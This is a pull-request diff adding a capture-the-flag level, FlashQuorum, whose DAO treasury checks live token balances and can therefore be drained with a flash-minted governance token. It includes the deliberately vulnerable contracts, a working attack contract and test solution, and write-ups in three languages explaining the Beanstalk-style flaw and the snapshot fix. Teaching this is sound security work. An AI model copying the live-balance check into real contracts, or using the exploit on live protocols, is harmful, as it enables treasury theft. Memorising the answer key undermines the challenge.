Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions client/public/imgs/BigLevel43.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
20 changes: 20 additions & 0 deletions client/public/imgs/Level43.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
@@ -1,5 +1,16 @@
{
"authors": {
"mivgubel": {
"name": [
"Mike Bello"
],
"emails": [
"angelcap1990@gmail.com"
],
"websites": [
"https://github.com/mivgubel"
]
},
"ajsantander": {
"name": [
"Alejandro Santander"
Expand Down
8 changes: 8 additions & 0 deletions client/src/gamedata/en/descriptions/levels/flash_quorum.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
A tiny DAO holds a small treasury, gated behind one rule: whoever calls `executeProposal` needs to hold at least 50% of the governance token's supply. You've been given a small starting balance, nowhere near enough to reach quorum by holding it outright, and neither buying nor being gifted the rest is an option.

Complete this level by draining the treasury.

 
Things that might help
* Read what else the governance token can do besides `transfer` and `approve`
* The fee isn't free: figure out where it has to come from before you borrow
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
`FlashQuorum` checks voting power the same way you'd check anything else on-chain: read the current balance, compare it to a threshold. That's exactly the problem. A balance is a snapshot of right now, and a flash loan can make "right now" say whatever the borrower needs it to say, for exactly as long as their transaction is running. There's no cooldown, no lockup, no proof that the tokens were held for more than one call.

This isn't hypothetical. Flash-loaned governance tokens were used to pass and immediately execute a malicious proposal against Beanstalk Farms in April 2022, draining the protocol's treasury in a single transaction. The fix that real governance systems converged on is checkpointing: voting power is recorded (usually at the block a proposal is created, or earlier) and proposals are voted on using that historical snapshot, not a live balance. OpenZeppelin's `ERC20Votes` and `Governor` contracts implement exactly this, on purpose.

If you're building anything that grants privileges based on a token balance, ask whether that balance could exist only because someone borrowed it a moment ago. If the answer is yes, you need a snapshot, not a read.

Notice that the 0.3% flash loan fee, the same rate Uniswap V2 charges on a flash swap, didn't stop the attack. The fee is real, but it's tiny next to what a passed proposal can release, and it has nothing to do with governance safety: it's a cost of borrowing, not a cost of voting. A flash loan being economically inexpensive for the attacker is a separate problem from a governance system that never checks how long a balance has been held. Fixing the second problem is what actually closes this hole; the fee alone never would have.
8 changes: 8 additions & 0 deletions client/src/gamedata/es/descriptions/levels/flash_quorum.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
Una pequeña DAO tiene un pequeño tesoro, protegido detrás de una sola regla: quien llame a `executeProposal` necesita tener al menos el 50% del supply del token de gobernanza. Te dieron un pequeño balance inicial, muy lejos de alcanzar el quorum si simplemente lo mantuvieras, y ni comprar el resto ni recibirlo como regalo es una opción.

Completa este nivel drenando el tesoro.

 
Cosas que pueden ayudar
* Revisa qué más puede hacer el token de gobernanza además de `transfer` y `approve`
* La comisión no es gratis: averigua de dónde tiene que salir antes de pedir prestado
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
`FlashQuorum` revisa el poder de voto de la misma forma en que revisarías cualquier otra cosa on-chain: lee el balance actual, compáralo contra un umbral. Ese es exactamente el problema. Un balance es una foto de este instante, y un flash loan puede hacer que "este instante" diga lo que el que pide prestado necesite, durante exactamente el tiempo que dure su transacción. No hay cooldown, no hay bloqueo, no hay prueba de que los tokens se sostuvieron por más de una sola llamada.

Esto no es hipotético. Se usaron tokens de gobernanza obtenidos vía flash loan para aprobar y ejecutar de inmediato una propuesta maliciosa contra Beanstalk Farms en abril de 2022, drenando el tesoro del protocolo en una sola transacción. La solución en la que convergieron los sistemas de gobernanza reales es el checkpoint: el poder de voto se registra (normalmente en el bloque en que se crea la propuesta, o antes) y las propuestas se votan usando ese snapshot histórico, no un balance en vivo. Los contratos `ERC20Votes` y `Governor` de OpenZeppelin implementan exactamente esto, a propósito.

Si estás construyendo algo que otorga privilegios en base a un balance de token, pregúntate si ese balance podría existir solo porque alguien lo pidió prestado hace un instante. Si la respuesta es sí, necesitas un snapshot, no una lectura.

Nota que la comisión de 0.3% del flash loan, la misma tasa que cobra Uniswap V2 en un flash swap, no detuvo el ataque. La comisión es real, pero es diminuta comparada con lo que una propuesta aprobada puede liberar, y no tiene nada que ver con la seguridad de la gobernanza: es un costo de pedir prestado, no un costo de votar. Que un flash loan sea económicamente barato para el atacante es un problema distinto al de un sistema de gobernanza que nunca revisa cuánto tiempo se sostuvo un balance. Arreglar el segundo problema es lo que realmente cierra este hueco; la comisión sola nunca lo habría hecho.
15 changes: 15 additions & 0 deletions client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -631,6 +631,21 @@
"deployId": "40",
"instanceGas": 2000000,
"author": "Draiakoo"
},
{
"name": "FlashQuorum",
"created": "2026-09-22",
"difficulty": "7",
"description": "flash_quorum.md",
"completedDescription": "flash_quorum_complete.md",
"levelContract": "FlashQuorumFactory.sol",
"instanceContract": "FlashQuorum.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0.001,
"deployId": "43",
"instanceGas": 2000000,
"author": "mivgubel"
}
]
}
8 changes: 8 additions & 0 deletions client/src/gamedata/pt_br/descriptions/levels/flash_quorum.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
Uma pequena DAO tem um pequeno tesouro, protegido por uma única regra: quem chamar `executeProposal` precisa ter pelo menos 50% do supply do token de governança. Você recebeu um pequeno saldo inicial, longe o suficiente de alcançar o quórum apenas segurando-o, e nem comprar o restante nem recebê-lo de presente é uma opção.

Complete este nível drenando o tesouro.

 
Coisas que podem ser úteis
* Veja o que mais o token de governança pode fazer além de `transfer` e `approve`
* A taxa não é de graça: descubra de onde ela precisa vir antes de pedir emprestado
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
`FlashQuorum` verifica o poder de voto da mesma forma que você verificaria qualquer outra coisa on-chain: lê o saldo atual, compara com um limite. Esse é exatamente o problema. Um saldo é uma foto deste instante, e um flash loan pode fazer com que "este instante" diga o que quem tomou o empréstimo precisar, durante exatamente o tempo que sua transação durar. Não há cooldown, não há bloqueio, não há prova de que os tokens foram mantidos por mais de uma única chamada.

Isso não é hipotético. Tokens de governança obtidos via flash loan foram usados para aprovar e executar imediatamente uma proposta maliciosa contra a Beanstalk Farms em abril de 2022, drenando o tesouro do protocolo em uma única transação. A correção para a qual os sistemas de governança reais convergiram é o checkpoint: o poder de voto é registrado (geralmente no bloco em que a proposta é criada, ou antes) e as propostas são votadas usando esse snapshot histórico, não um saldo ao vivo. Os contratos `ERC20Votes` e `Governor` da OpenZeppelin implementam exatamente isso, de propósito.

Se você está construindo algo que concede privilégios com base em um saldo de token, pergunte-se se esse saldo poderia existir só porque alguém o pegou emprestado um instante atrás. Se a resposta for sim, você precisa de um snapshot, não de uma leitura.

Note que a taxa de 0.3% do flash loan, a mesma taxa que a Uniswap V2 cobra em um flash swap, não impediu o ataque. A taxa é real, mas é minúscula perto do que uma proposta aprovada pode liberar, e não tem nada a ver com a segurança da governança: é um custo de pedir emprestado, não um custo de votar. Um flash loan ser economicamente barato para o atacante é um problema separado de um sistema de governança que nunca verifica há quanto tempo um saldo foi mantido. Resolver o segundo problema é o que realmente fecha essa brecha; a taxa sozinha nunca teria feito isso.
43 changes: 43 additions & 0 deletions contracts/src/attacks/FlashQuorumAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

interface IFlashQuorumToken {
function flashLoan(uint256 amount) external;
function flashFee(uint256 amount) external pure returns (uint256);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IFlashQuorum {
function executeProposal(address payable beneficiary) external;
}

contract FlashQuorumAttack {
address public owner;
IFlashQuorumToken public immutable govToken;
IFlashQuorum public immutable treasury;

constructor(address _govToken, address _treasury) {
owner = msg.sender;
govToken = IFlashQuorumToken(_govToken);
treasury = IFlashQuorum(_treasury);
}

/// @notice Pulls the flash loan fee from the owner's own balance first
/// (they must approve() this contract beforehand), since the fee is
/// real cost that has to come from pre-existing funds, unlike the
/// principal, which is minted and burned from nothing.
function attack(uint256 quorum) external {
require(msg.sender == owner, "Not owner");
uint256 fee = govToken.flashFee(quorum);
govToken.transferFrom(owner, address(this), fee);
govToken.flashLoan(quorum);
}

/// @notice Called back by the token mid-flashLoan, while this contract
/// momentarily holds `amount` votes. That's enough to clear quorum and
/// drain the treasury before the borrowed tokens are burned back and
/// the fee is transferred out of this contract's balance.
function onFlashLoan(uint256) external {
treasury.executeProposal(payable(owner));
}
}
23 changes: 23 additions & 0 deletions contracts/src/levels/FlashQuorum.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {FlashQuorumToken} from "./FlashQuorumToken.sol";

/// @notice A tiny DAO treasury.
contract FlashQuorum {
FlashQuorumToken public immutable govToken;
uint256 public immutable quorum;
bool public drained;

constructor(FlashQuorumToken _govToken, uint256 _quorum) payable {
govToken = _govToken;
quorum = _quorum;
}

function executeProposal(address payable beneficiary) external {
require(govToken.balanceOf(msg.sender) >= quorum, "Not enough votes");
require(!drained, "Proposal already executed");
drained = true;
beneficiary.transfer(address(this).balance);
}
}
26 changes: 26 additions & 0 deletions contracts/src/levels/FlashQuorumFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {Level} from "./base/Level.sol";
import {FlashQuorum} from "./FlashQuorum.sol";
import {FlashQuorumToken} from "./FlashQuorumToken.sol";

contract FlashQuorumFactory is Level {
address constant DAO = address(0xDA0);
uint256 constant TOTAL_SUPPLY = 1_000 ether;
uint256 constant QUORUM = 500 ether;
// Just enough to cover the flash loan fee (0.3% of QUORUM = 1.5 GOV) with
// room to spare. Nowhere near enough to reach quorum by holding it outright.
uint256 constant PLAYER_FEE_RESERVE = 2 ether;

function createInstance(address _player) public payable override returns (address) {
FlashQuorumToken govToken = new FlashQuorumToken(TOTAL_SUPPLY, DAO, _player, PLAYER_FEE_RESERVE);
FlashQuorum instance = new FlashQuorum{value: msg.value}(govToken, QUORUM);
return address(instance);
}

function validateInstance(address payable _instance, address _player) public view override returns (bool) {
_player;
return FlashQuorum(_instance).drained();
}
}
34 changes: 34 additions & 0 deletions contracts/src/levels/FlashQuorumToken.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {ERC20} from "openzeppelin-contracts-v5.4.0/token/ERC20/ERC20.sol";

interface IFlashLoanReceiver {
function onFlashLoan(uint256 amount) external;
}

/// @notice A governance token with a flash mint.
contract FlashQuorumToken is ERC20 {
address public immutable dao;
uint256 public constant FLASH_FEE_BPS = 30; // 0.3%, same as Uniswap V2

constructor(uint256 initialSupply, address _dao, address player, uint256 playerFeeReserve)
ERC20("Governance Token", "GOV")
{
dao = _dao;
_mint(dao, initialSupply);
_mint(player, playerFeeReserve);
}

function flashFee(uint256 amount) public pure returns (uint256) {
return (amount * FLASH_FEE_BPS) / 10_000;
}

function flashLoan(uint256 amount) external {
uint256 fee = flashFee(amount);
_mint(msg.sender, amount);
IFlashLoanReceiver(msg.sender).onFlashLoan(amount);
_burn(msg.sender, amount);
_transfer(msg.sender, dao, fee);
}
}
79 changes: 79 additions & 0 deletions contracts/test/levels/FlashQuorum.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";

import {FlashQuorum} from "src/levels/FlashQuorum.sol";
import {FlashQuorumFactory} from "src/levels/FlashQuorumFactory.sol";
import {FlashQuorumAttack} from "src/attacks/FlashQuorumAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestFlashQuorum is Test, Utils {
Ethernaut ethernaut;
FlashQuorum instance;
FlashQuorumFactory factory;

address payable owner;
address payable player;

uint256 constant QUORUM = 500 ether;

/*//////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////*/

function setUp() public {
address payable[] memory users = createUsers(2);

owner = users[0];
vm.label(owner, "Owner");

player = users[1];
vm.label(player, "Player");

vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
factory = new FlashQuorumFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();

vm.startPrank(player);
instance = FlashQuorum(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
vm.stopPrank();
}

/*//////////////////////////////////////////////////////////////
TESTS
//////////////////////////////////////////////////////////////*/

/// @notice Check the initial state of the level and environment.
function testInit() public {
vm.startPrank(player);
assertEq(address(instance).balance, 0.001 ether);
assertEq(instance.govToken().balanceOf(player), 2 ether);
assertFalse(instance.drained());
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}

/// @notice Test the solution for the level. A flash-minted balance is
/// enough to clear quorum for the single call it's held in, since the
/// treasury reads live balanceOf() with no snapshot. The 0.3% flash fee
/// (mirroring Uniswap V2) has to come out of the player's own starting
/// balance, not the flash-minted principal.
function testSolve() public {
vm.startPrank(player);

FlashQuorumAttack attacker = new FlashQuorumAttack(address(instance.govToken()), address(instance));
uint256 fee = instance.govToken().flashFee(QUORUM);
instance.govToken().approve(address(attacker), fee);
attacker.attack(QUORUM);

assertEq(instance.govToken().balanceOf(instance.govToken().dao()), 1_000 ether + fee);
assertTrue(instance.drained());
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Loading